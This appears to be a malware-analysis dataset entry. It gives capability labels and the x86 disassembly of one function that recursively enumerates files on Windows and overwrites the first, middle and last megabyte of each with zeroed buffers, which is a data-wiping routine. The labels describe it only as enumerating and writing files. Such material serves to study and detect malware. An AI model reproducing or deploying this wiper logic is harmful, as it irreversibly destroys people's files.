Function at 0x4012a0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x47c
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x478], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x20a
mov edi, ecx
push 0
mov dword [esp + 0x20], edi
call esi
mov ebx, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call edi
mov ecx, 0x2a
mov word [ebx + eax*2], cx
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x40155b
push ebx
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
dec eax
lea ecx, [ebx + eax*2]
mov dword [esp + 0x14], ecx
nop
xor eax, eax
mov word [ecx], ax
lea eax, [esp + 0x54]
push eax
push ebx
call edi
test byte [esp + 0x28], 0x10
je 0x40137e
push 0x402090
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401528
push 0x402094
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401528
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, ebx
mov dword [ebx + eax*2], 0x5c
call fcn.004012a0
jmp 0x401528
push dword [esp + 0x10]
lea eax, [esp + 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40209c
lea eax, [esp + 0x27c]
push eax
call edi
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x27c]
push eax
call edi
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
lea eax, [esp + 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401522
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
test ecx, ecx
jl 0x4014d2
jg 0x4013fe
cmp eax, 0x100000
jbe 0x401436
push 4
push 0x3000
push 0x100000
push 0
call esi
push 0
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x28]
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40150e
test ecx, ecx
jl 0x4014d2
jg 0x40144b
cmp eax, 0x500000
jbe 0x4014d2
push 4
push 0x3000
push 0x100000
push 0
call esi
push 0
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x28]
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
push 2
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call fcn.00401790
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x28]
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x18]
push 0
push 0
add eax, 0xfff00000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x28]
push eax
push 0x100000
jmp 0x4014f8
push 4
push 0x3000
push eax
push 0
call esi
push 0
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ecx, dword [esp + 0x14]
test eax, eax
jne 0x401320
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x484]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040165a
mov esp, ebp
pop ebp
ret